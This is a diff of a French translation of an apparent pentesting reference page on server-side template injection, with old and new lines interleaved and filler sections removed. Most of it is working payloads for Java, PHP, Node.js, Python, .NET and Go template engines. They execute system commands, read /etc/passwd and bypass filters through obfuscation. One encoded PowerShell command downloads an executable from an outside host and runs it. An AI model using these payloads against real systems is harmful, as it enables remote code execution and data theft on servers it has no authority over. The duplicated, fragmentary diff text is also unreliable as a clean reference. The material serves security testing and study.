* OGNL : `${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}`
|
||||
|
||||
Cependant, comme nous l'avons mentionné précédemment, les expressions ne fonctionnent que dans des attributs spéciaux de Thymeleaf. Si vous devez utiliser une expression à un autre endroit dans le modèle, Thymeleaf prend en charge l'_insertion d'expression_. Pour utiliser cette fonctionnalité, vous devez placer une expression entre `[[...]]` ou `[(...)]` (choisissez l'un ou l'autre en fonction de la nécessité d'échapper aux symboles spéciaux). Par conséquent, une charge utile de détection SSTI simple pour Thymeleaf serait `[[${7*7}]]`.
|
||||
Cependant, comme nous l'avons mentionné précédemment, les expressions ne fonctionnent que dans des attributs spéciaux de Thymeleaf. Si vous devez utiliser une expression dans un autre emplacement du modèle, Thymeleaf prend en charge _l'insertion d'expressions_. Pour utiliser cette fonctionnalité, vous devez placer une expression à l'intérieur de `[[...]]` ou `[(...)]` (choisissez l'un ou l'autre en fonction de la nécessité d'échapper aux symboles spéciaux). Par conséquent, un payload de détection SSTI simple pour Thymeleaf serait `[[${7*7}]]`.
|
||||
|
||||
Cependant, il est très peu probable que la charge utile de détection ci-dessus fonctionne. Les vulnérabilités SSTI se produisent généralement lorsqu'un modèle est généré dynamiquement dans le code. Thymeleaf, par défaut, n'autorise pas de tels modèles générés dynamiquement et tous les modèles doivent être créés au préalable. Par conséquent, si un développeur souhaite créer un modèle à partir d'une chaîne _à la volée_, il devrait créer son propre TemplateResolver. Cela est possible mais se produit très rarement.
|
||||
Cependant, les chances que le payload de détection ci-dessus fonctionne sont très faibles. Les vulnérabilités SSTI se produisent généralement lorsque un modèle est généré dynamiquement dans le code. Par défaut, Thymeleaf ne permet pas de tels modèles générés dynamiquement et tous les modèles doivent être créés au préalable. Par conséquent, si un développeur souhaite créer un modèle à partir d'une chaîne _à la volée_, il devra créer son propre TemplateResolver. C'est possible mais cela arrive très rarement.
|
||||
|
||||
Si nous examinons plus en détail la documentation du moteur de modèles Thymeleaf, nous trouverons une fonctionnalité intéressante appelée _**prétraitement des expressions**_. Les expressions placées entre deux tirets bas (`__...__`) sont prétraitées et le résultat du prétraitement est utilisé comme partie de l'expression lors du traitement régulier. Voici un exemple officiel de la documentation de Thymeleaf :
|
||||
Si nous examinons plus en détail la documentation du moteur de modèles Thymeleaf, nous trouverons une fonctionnalité intéressante appelée _**prétraitement des expressions**_. Les expressions placées entre doubles underscores (`__...__`) sont prétraitées et le résultat du prétraitement est utilisé comme partie de l'expression pendant le traitement régulier. Voici un exemple officiel de la documentation Thymeleaf :
|
||||
```java
|
||||
#{selection.__${sel.code}__}
|
||||
```
|
||||
|
@ -295,19 +231,19 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
|||
[el-expression-language.md](el-expression-language.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Framework Spring (Java)
|
||||
### Spring Framework (Java)
|
||||
```java
|
||||
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
|
||||
```
|
||||
**Contourner les filtres**
|
||||
|
||||
Plusieurs expressions de variables peuvent être utilisées, si `${...}` ne fonctionne pas, essayez `#{...}`, `*{...}`, `@{...}` ou `~{...}`.
|
||||
Plusieurs expressions de variables peuvent être utilisées, si `${...}` ne fonctionne pas essayez `#{...}`, `*{...}`, `@{...}` ou `~{...}`.
|
||||
|
||||
* Lire `/etc/passwd`
|
||||
```java
|
||||
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
|
||||
```
|
||||
* Script personnalisé pour la génération de la charge utile
|
||||
* Script personnalisé pour la génération de payload
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
|
||||
|
@ -340,7 +276,7 @@ print(base_payload + end_payload)
|
|||
* [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
|
||||
* [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)
|
||||
|
||||
### Manipulation de la vue Spring (Java)
|
||||
### Manipulation de vue Spring (Java)
|
||||
```java
|
||||
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
|
||||
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
|
||||
|
@ -366,6 +302,7 @@ Nouvelle version de Pebble :
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
{% set bytes = (1).TYPE
|
||||
.forName('java.lang.Runtime')
|
||||
.methods[6]
|
||||
|
@ -379,41 +316,13 @@ Nouvelle version de Pebble :
|
|||
.newInstance(([bytes]).toArray()) }}
|
||||
```
|
||||
### Jinjava (Java)
|
||||
|
||||
Jinjava is a powerful and flexible template engine for Java applications. It allows you to dynamically generate HTML, XML, JSON, and other text-based formats by combining templates with data. Jinjava supports a wide range of features, including conditionals, loops, filters, and macros, making it a versatile tool for server-side template injection (SSTI) attacks.
|
||||
|
||||
#### Server-Side Template Injection (SSTI)
|
||||
|
||||
Server-Side Template Injection (SSTI) is a vulnerability that occurs when an application allows user-supplied input to be directly embedded in a server-side template. This can lead to remote code execution (RCE) if an attacker is able to inject malicious code into the template.
|
||||
|
||||
#### Exploiting SSTI with Jinjava
|
||||
|
||||
To exploit SSTI using Jinjava, you need to identify the injection point in the application where user input is being used in a template. Once you have identified the injection point, you can attempt to inject Jinjava expressions or code snippets to execute arbitrary commands on the server.
|
||||
|
||||
Here are some common techniques used to exploit SSTI with Jinjava:
|
||||
|
||||
1. **Expression Injection**: Injecting Jinjava expressions to manipulate data or execute functions within the template.
|
||||
2. **Code Execution**: Injecting Jinjava code snippets to execute arbitrary commands on the server.
|
||||
3. **File Inclusion**: Exploiting Jinjava's file inclusion feature to read sensitive files on the server.
|
||||
4. **Command Injection**: Injecting Jinjava expressions or code snippets that execute system commands on the server.
|
||||
|
||||
#### Prevention and Mitigation
|
||||
|
||||
To prevent SSTI vulnerabilities in applications that use Jinjava, it is important to follow secure coding practices:
|
||||
|
||||
1. **Input Validation**: Always validate and sanitize user input before using it in a template.
|
||||
2. **Contextual Output Encoding**: Encode user-supplied data appropriately based on the context in which it is used.
|
||||
3. **Template Sandbox**: Limit the capabilities of the template engine by sandboxing it to restrict access to sensitive resources.
|
||||
4. **Least Privilege**: Ensure that the application's server-side code has the least privilege necessary to perform its functions.
|
||||
|
||||
By following these best practices, you can reduce the risk of SSTI vulnerabilities and protect your application from potential attacks.
|
||||
```java
|
||||
{{'a'.toUpperCase()}} would result in 'A'
|
||||
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
|
||||
```
|
||||
Jinjava est un projet open source développé par Hubspot, disponible sur [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)
|
||||
|
||||
**Jinjava - Exécution de commandes**
|
||||
**Jinjava - Exécution de commande**
|
||||
|
||||
Corrigé par [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
|
||||
```java
|
||||
|
@ -431,9 +340,9 @@ Corrigé par [https://github.com/HubSpot/jinjava/pull/230](https://github.com/Hu
|
|||
|
||||
### Hubspot - HuBL (Java)
|
||||
|
||||
* Délimiteurs d'instructions `{% %}`
|
||||
* Délimiteurs d'expressions `{{ }}`
|
||||
* Délimiteurs de commentaires `{# #}`
|
||||
* `{% %}` délimiteurs d'instructions
|
||||
* `{{ }}` délimiteurs d'expressions
|
||||
* `{# #}` délimiteurs de commentaires
|
||||
* `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
|
||||
* `{{'a'.toUpperCase()}}` - "A"
|
||||
* `{{'a'.concat('b')}}` - "ab"
|
||||
|
@ -498,8 +407,8 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
|||
* `${{7*7}}` - 49
|
||||
* `${{request}}, ${{session}}, {{faceContext}}`
|
||||
|
||||
EL fournit un mécanisme important pour permettre à la couche de présentation (pages web) de communiquer avec la logique de l'application (beans gérés). L'EL est utilisé par **plusieurs technologies JavaEE**, telles que la technologie JavaServer Faces, la technologie JavaServer Pages (JSP) et l'injection de contextes et de dépendances pour Java EE (CDI).\
|
||||
Consultez la page suivante pour en savoir plus sur **l'exploitation des interpréteurs EL** :
|
||||
EL fournit un mécanisme important pour permettre à la couche de présentation (pages web) de communiquer avec la logique d'application (managed beans). EL est utilisé par **plusieurs technologies JavaEE**, telles que la technologie JavaServer Faces, la technologie JavaServer Pages (JSP) et l'injection de dépendances et de contextes pour Java EE (CDI).\
|
||||
Consultez la page suivante pour en savoir plus sur **l'exploitation des interprètes EL** :
|
||||
|
||||
{% content-ref url="el-expression-language.md" %}
|
||||
[el-expression-language.md](el-expression-language.md)
|
||||
|
@ -507,7 +416,7 @@ Consultez la page suivante pour en savoir plus sur **l'exploitation des interpr
|
|||
|
||||
### Groovy (Java)
|
||||
|
||||
Ce contournement du gestionnaire de sécurité a été pris à partir de cette [**analyse**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
|
||||
Ce contournement du Security Manager a été pris de ce [**compte-rendu**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
|
||||
```java
|
||||
//Basic Payload
|
||||
import groovy.*;
|
||||
|
@ -534,7 +443,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
|||
```
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus pertinent en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.
|
||||
[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir la connaissance technique**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -579,43 +488,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
|||
{{['cat\x20/etc/passwd']|filter('system')}}
|
||||
{{['cat$IFS/etc/passwd']|filter('system')}}
|
||||
```
|
||||
**Twig - Format de template**
|
||||
|
||||
Twig est un moteur de template populaire utilisé dans de nombreux frameworks PHP tels que Symfony. Il offre une syntaxe simple et expressive pour générer des pages web dynamiques.
|
||||
|
||||
Les fichiers de template Twig ont une extension `.twig` et peuvent contenir du code HTML ainsi que des balises spéciales Twig. Ces balises spéciales permettent d'insérer des variables, d'effectuer des boucles et des conditions, et d'inclure d'autres fichiers de template.
|
||||
|
||||
Voici un exemple de fichier de template Twig :
|
||||
|
||||
```twig
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>{{ title }}</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Bienvenue sur {{ title }}</h1>
|
||||
|
||||
<ul>
|
||||
{% for item in items %}
|
||||
<li>{{ item }}</li>
|
||||
{% endfor %}
|
||||
</ul>
|
||||
|
||||
{% if isAdmin %}
|
||||
<p>Vous êtes un administrateur.</p>
|
||||
{% else %}
|
||||
<p>Vous êtes un utilisateur normal.</p>
|
||||
{% endif %}
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
Dans cet exemple, les balises `{{ title }}`, `{{ item }}`, `{% for item in items %}`, `{% endfor %}`, `{% if isAdmin %}`, et `{% else %}` sont des balises spéciales Twig. Elles seront évaluées et remplacées par les valeurs correspondantes lors de la génération de la page web.
|
||||
|
||||
Les attaques de type Server-Side Template Injection (SSTI) peuvent se produire lorsque des entrées utilisateur sont directement incluses dans des fichiers de template Twig sans être correctement filtrées ou échappées. Cela peut permettre à un attaquant d'exécuter du code arbitraire sur le serveur.
|
||||
|
||||
Il est donc important de toujours valider et filtrer les entrées utilisateur avant de les inclure dans des fichiers de template Twig.
|
||||
**Twig - Format de modèle**
|
||||
```php
|
||||
$output = $twig > render (
|
||||
'Dear' . $_GET['custom_greeting'],
|
||||
|
@ -634,9 +507,9 @@ array("first_name" => $user.first_name)
|
|||
|
||||
### Plates (PHP)
|
||||
|
||||
Plates est inspiré de Twig mais est un moteur de template PHP natif au lieu d'un moteur de template compilé.
|
||||
Plates s'inspire de Twig mais est un moteur de template PHP natif au lieu d'un moteur de template compilé.
|
||||
|
||||
controller:
|
||||
contrôleur :
|
||||
```php
|
||||
// Create new Plates instance
|
||||
$templates = new League\Plates\Engine('/path/to/templates');
|
||||
|
@ -644,35 +517,14 @@ $templates = new League\Plates\Engine('/path/to/templates');
|
|||
// Render a template
|
||||
echo $templates->render('profile', ['name' => 'Jonathan']);
|
||||
```
|
||||
Modèle de page :
|
||||
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Mon site web</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Bienvenue sur mon site web !</h1>
|
||||
<p>Ceci est une page de démonstration.</p>
|
||||
<p>Voici quelques informations sur moi :</p>
|
||||
<ul>
|
||||
<li>Nom : {{ nom }}</li>
|
||||
<li>Âge : {{ age }}</li>
|
||||
<li>Email : {{ email }}</li>
|
||||
</ul>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
Le modèle de page ci-dessus est un exemple simple d'une page web contenant des balises de modèle. Les balises `{{ nom }}`, `{{ age }}` et `{{ email }}` sont des variables qui seront remplies avec des données spécifiques lors de la génération de la page. Cependant, si ces balises sont mal utilisées ou mal protégées, elles peuvent être vulnérables à une injection de modèle côté serveur (SSTI).
|
||||
modèle de page :
|
||||
```php
|
||||
<?php $this->layout('template', ['title' => 'User Profile']) ?>
|
||||
|
||||
<h1>User Profile</h1>
|
||||
<p>Hello, <?=$this->e($name)?></p>
|
||||
```
|
||||
Modèle de mise en page :
|
||||
modèle de mise en page :
|
||||
```html
|
||||
<html>
|
||||
<head>
|
||||
|
@ -685,7 +537,7 @@ Modèle de mise en page :
|
|||
```
|
||||
### PHPlib et HTML\_Template\_PHPLIB (PHP)
|
||||
|
||||
[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) est la même que PHPlib mais portée vers Pear.
|
||||
[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) est identique à PHPlib mais porté sur Pear.
|
||||
|
||||
`authors.tpl`
|
||||
```html
|
||||
|
@ -709,27 +561,7 @@ Modèle de mise en page :
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
# SSTI (Server-Side Template Injection)
|
||||
|
||||
## Description
|
||||
|
||||
The `authors.php` file is vulnerable to Server-Side Template Injection (SSTI) attacks. This vulnerability allows an attacker to inject malicious code into server-side templates, which are then executed by the server.
|
||||
|
||||
## Exploitation
|
||||
|
||||
To exploit this vulnerability, an attacker can inject arbitrary code into the `authors.php` file. This can be done by manipulating user input or by directly modifying the file.
|
||||
|
||||
Once the malicious code is injected, it will be executed by the server, allowing the attacker to perform various actions, such as accessing sensitive information, executing system commands, or even gaining remote code execution.
|
||||
|
||||
## Prevention
|
||||
|
||||
To prevent SSTI attacks, it is important to properly validate and sanitize user input before using it in server-side templates. This can be done by implementing input validation and output encoding techniques.
|
||||
|
||||
Additionally, it is recommended to use a secure template engine that automatically escapes user input, such as Twig or Django templates.
|
||||
|
||||
## Conclusion
|
||||
|
||||
Server-Side Template Injection is a serious vulnerability that can lead to various security risks. By understanding how this vulnerability works and implementing proper security measures, developers can protect their applications from potential attacks.
|
||||
`authors.php`
|
||||
```php
|
||||
<?php
|
||||
//we want to display this author list
|
||||
|
@ -762,26 +594,6 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
|||
?>
|
||||
```
|
||||
### Jade (NodeJS)
|
||||
|
||||
Jade is a popular template engine for Node.js. It allows you to write HTML templates using a concise and expressive syntax. However, it is important to be aware of the security risks associated with using Jade, as it can be vulnerable to Server-Side Template Injection (SSTI) attacks.
|
||||
|
||||
#### Server-Side Template Injection (SSTI)
|
||||
|
||||
Server-Side Template Injection occurs when an attacker is able to inject malicious code into a template that is then executed on the server. This can lead to various security issues, such as remote code execution, information disclosure, and even server compromise.
|
||||
|
||||
#### Preventing SSTI Attacks
|
||||
|
||||
To prevent SSTI attacks when using Jade, it is important to follow these best practices:
|
||||
|
||||
1. **Input Validation**: Always validate and sanitize user input before using it in a template. This helps to prevent any malicious code from being injected.
|
||||
|
||||
2. **Contextual Escaping**: Use proper escaping mechanisms to ensure that user input is treated as data and not as code. This helps to prevent any unintended code execution.
|
||||
|
||||
3. **Template Whitelisting**: Only allow trusted templates to be used. This helps to limit the potential attack surface and reduces the risk of SSTI vulnerabilities.
|
||||
|
||||
#### Conclusion
|
||||
|
||||
While Jade is a powerful and flexible template engine, it is important to be aware of the security risks associated with SSTI attacks. By following the best practices mentioned above, you can help to mitigate these risks and ensure the security of your Node.js applications.
|
||||
```javascript
|
||||
- var x = root.process
|
||||
- x = x.mainModule.require
|
||||
|
@ -799,7 +611,7 @@ While Jade is a powerful and flexible template engine, it is important to be awa
|
|||
|
||||
### patTemplate (PHP)
|
||||
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template) est un moteur de template PHP non-compilant qui utilise des balises XML pour diviser un document en différentes parties.
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template) est un moteur de template PHP non-compilant, qui utilise des balises XML pour diviser un document en différentes parties
|
||||
```xml
|
||||
<patTemplate:tmpl name="page">
|
||||
This is the main page.
|
||||
|
@ -813,7 +625,7 @@ Hello {NAME}.<br/>
|
|||
```
|
||||
### Handlebars (NodeJS)
|
||||
|
||||
Path Traversal (plus d'informations [ici](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
|
||||
Path Traversal (plus d'infos [ici](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
|
||||
```bash
|
||||
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
|
||||
```
|
||||
|
@ -852,14 +664,14 @@ URLencoded:
|
|||
|
||||
| **Modèle** | **Description** |
|
||||
| ------------ | --------------------------------------- |
|
||||
| | Évaluer et afficher la sortie |
|
||||
| | Évaluer et afficher la sortie encodée en HTML |
|
||||
| | Évaluer et rendre le résultat |
|
||||
| | Évaluer et rendre le résultat avec encodage HTML |
|
||||
| | Commentaire |
|
||||
| et | Autoriser le code (désactivé par défaut) |
|
||||
| and | Permettre le code (désactivé par défaut) |
|
||||
|
||||
* \= 49
|
||||
|
||||
**Côté client**
|
||||
**Côté Client**
|
||||
```python
|
||||
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
|
||||
```
|
||||
|
@ -889,8 +701,8 @@ home = pugjs.render(injected_page)
|
|||
### NUNJUCKS (NodeJS) <a href="#nunjucks" id="nunjucks"></a>
|
||||
|
||||
* \{{7\*7\}} = 49
|
||||
* \{{foo\}} = Aucune sortie
|
||||
* \#{7\*7} = #{7\*7}
|
||||
* \{{foo\}} = Pas de sortie
|
||||
* \#{7\*7} = \#{7\*7}
|
||||
* \{{console.log(1)\}} = Erreur
|
||||
```javascript
|
||||
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
|
||||
|
@ -933,7 +745,7 @@ home = pugjs.render(injected_page)
|
|||
|
||||
### Python
|
||||
|
||||
Consultez la page suivante pour apprendre des astuces sur **la contournement de l'exécution de commandes arbitraires en contournant les sandbox** en python:
|
||||
Consultez la page suivante pour apprendre des astuces sur **l'exécution de commandes arbitraires contournant les sandbox** en python :
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
|
@ -956,6 +768,7 @@ Consultez la page suivante pour apprendre des astuces sur **la contournement de
|
|||
|
||||
|
||||
|
||||
|
||||
{{os.system('whoami')}}
|
||||
{{os.system('whoami')}}
|
||||
```
|
||||
|
@ -965,7 +778,7 @@ Consultez la page suivante pour apprendre des astuces sur **la contournement de
|
|||
|
||||
[Site officiel](http://jinja.pocoo.org)
|
||||
|
||||
> Jinja2 est un moteur de template complet pour Python. Il prend en charge l'unicode, dispose d'un environnement d'exécution intégré optionnellement sandboxé, est largement utilisé et sous licence BSD.
|
||||
> Jinja2 est un moteur de template complet pour Python. Il prend entièrement en charge l'unicode, dispose d'un environnement d'exécution optionnel intégré et sécurisé, est largement utilisé et sous licence BSD.
|
||||
|
||||
* `{{7*7}} = Erreur`
|
||||
* `${7*7} = ${7*7}`
|
||||
|
@ -984,40 +797,12 @@ Consultez la page suivante pour apprendre des astuces sur **la contournement de
|
|||
|
||||
|
||||
|
||||
|
||||
{{settings.SECRET_KEY}}
|
||||
{{4*4}}[[5*5]]
|
||||
{{7*'7'}} would result in 7777777
|
||||
```
|
||||
**Jinja2 - Format de template**
|
||||
|
||||
Jinja2 est un moteur de template puissant et flexible utilisé dans de nombreux frameworks web Python, y compris Flask et Django. Il permet de générer des pages web dynamiques en utilisant des templates pré-définis avec des variables et des instructions de contrôle.
|
||||
|
||||
Les templates Jinja2 sont généralement écrits dans des fichiers avec l'extension `.html` ou `.jinja`. Ils peuvent contenir du code HTML statique ainsi que des balises spéciales Jinja2 pour insérer des variables et exécuter des instructions.
|
||||
|
||||
Voici un exemple de template Jinja2 simple :
|
||||
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>{{ title }}</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Bienvenue, {{ user }}!</h1>
|
||||
<ul>
|
||||
{% for item in items %}
|
||||
<li>{{ item }}</li>
|
||||
{% endfor %}
|
||||
</ul>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
Dans cet exemple, les balises `{{ title }}`, `{{ user }}` et `{{ item }}` sont des variables qui seront remplacées par des valeurs spécifiques lors de la génération de la page web. Les balises `{% for %}` et `{% endfor %}` sont utilisées pour exécuter une boucle et afficher une liste d'éléments.
|
||||
|
||||
Les templates Jinja2 peuvent également inclure des instructions de contrôle plus avancées, telles que des conditions, des filtres et des blocs. Ces fonctionnalités permettent de créer des templates plus dynamiques et flexibles.
|
||||
|
||||
Il est important de noter que les templates Jinja2 peuvent être vulnérables à une injection de code côté serveur (Server-Side Template Injection - SSTI) si des entrées utilisateur non fiables sont utilisées directement dans les templates sans être correctement échappées ou validées. Cette vulnérabilité peut permettre à un attaquant d'exécuter du code arbitraire sur le serveur, ce qui peut entraîner des conséquences graves, telles que la divulgation d'informations sensibles ou la compromission du système. Il est donc essentiel de prendre des mesures pour sécuriser les templates Jinja2 et éviter les attaques SSTI.
|
||||
**Jinja2 - Format de modèle**
|
||||
```python
|
||||
{% raw %}
|
||||
{% extends "layout.html" %}
|
||||
|
@ -1032,7 +817,7 @@ Il est important de noter que les templates Jinja2 peuvent être vulnérables à
|
|||
|
||||
|
||||
```
|
||||
[**RCE non dépendant de**](https://podalirius.net/fr/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`:
|
||||
[**RCE indépendant de**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`:
|
||||
```python
|
||||
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
|
||||
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
|
||||
|
@ -1043,7 +828,7 @@ Il est important de noter que les templates Jinja2 peuvent être vulnérables à
|
|||
{{ joiner.__init__.__globals__.os.popen('id').read() }}
|
||||
{{ namespace.__init__.__globals__.os.popen('id').read() }}
|
||||
```
|
||||
**Plus de détails sur la façon d'exploiter Jinja**:
|
||||
**Plus de détails sur comment abuser de Jinja** :
|
||||
|
||||
{% content-ref url="jinja2-ssti.md" %}
|
||||
[jinja2-ssti.md](jinja2-ssti.md)
|
||||
|
@ -1062,13 +847,13 @@ ${x}
|
|||
* `@(2+2) <= Succès`
|
||||
* `@() <= Succès`
|
||||
* `@("{{code}}") <= Succès`
|
||||
* `@ <= Succès`
|
||||
* `@ <=Succès`
|
||||
* `@{} <= ERREUR !`
|
||||
* `@{ <= ERREUR !`
|
||||
* `@(1+2)`
|
||||
* `@( //Code C# )`
|
||||
* `@( //C#Code )`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
|
||||
La méthode `System.Diagnostics.Process.Start` de .NET peut être utilisée pour démarrer n'importe quel processus sur le serveur et ainsi créer un webshell. Vous pouvez trouver un exemple d'application web vulnérable sur [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
|
||||
|
||||
|
@ -1088,11 +873,11 @@ La méthode `System.Diagnostics.Process.Start` de .NET peut être utilisée pour
|
|||
```
|
||||
**Plus d'informations**
|
||||
|
||||
* [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp)
|
||||
* [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
|
||||
|
||||
### Mojolicious (Perl)
|
||||
|
||||
Même s'il s'agit de Perl, il utilise des balises similaires à ERB en Ruby.
|
||||
Même s'il s'agit de Perl, il utilise des balises comme ERB en Ruby.
|
||||
|
||||
* `<%= 7*7 %> = 49`
|
||||
* `<%= foobar %> = Erreur`
|
||||
|
@ -1104,24 +889,24 @@ Même s'il s'agit de Perl, il utilise des balises similaires à ERB en Ruby.
|
|||
|
||||
Pour confirmer que le moteur de template utilisé dans le backend est Go, vous pouvez utiliser ces charges utiles :
|
||||
|
||||
* `{{ . }}` = structure de données transmise en entrée au template
|
||||
* Si les données transmises sont un objet qui contient l'attribut Password par exemple, la charge utile précédente le révélerait, mais vous pourriez également utiliser : `{{ .Password }}`
|
||||
* `{{printf "%s" "ssti" }}` = devrait afficher la chaîne "ssti" dans la réponse
|
||||
* `{{html "ssti"}}`, `{{js "ssti"}}` = Ce sont quelques autres charges utiles qui devraient afficher la chaîne "ssti" sans les mots "js" ou "html" qui suivent. Vous pouvez vous référer à plus de mots-clés dans le moteur [ici](https://golang.org/pkg/text/template).
|
||||
* `{{ . }}` = structure de données passée en entrée au template
|
||||
* Si les données passées sont un objet qui contient l'attribut Password par exemple, la charge utile précédente le divulguerait, mais vous pourriez également faire : `{{ .Password }}`
|
||||
* `{{printf "%s" "ssti" }}` = devrait afficher la chaîne ssti dans la réponse
|
||||
* `{{html "ssti"}}`, `{{js "ssti"}}` = Ce sont quelques autres charges utiles qui devraient afficher la chaîne "ssti" sans les mots suivants "js" ou "html". Vous pouvez vous référer à plus de mots-clés dans le moteur [ici](https://golang.org/pkg/text/template).
|
||||
|
||||
**Exploitation de XSS**
|
||||
**Exploitation XSS**
|
||||
|
||||
Si le serveur utilise le package **text/template**, il est très facile de réaliser une XSS en fournissant simplement votre charge utile en entrée. Cependant, ce n'est pas le cas avec **html/template** car il encode la réponse en HTML : `{{"<script>alert(1)</script>"}}` --> `<script>alert(1)</script>`
|
||||
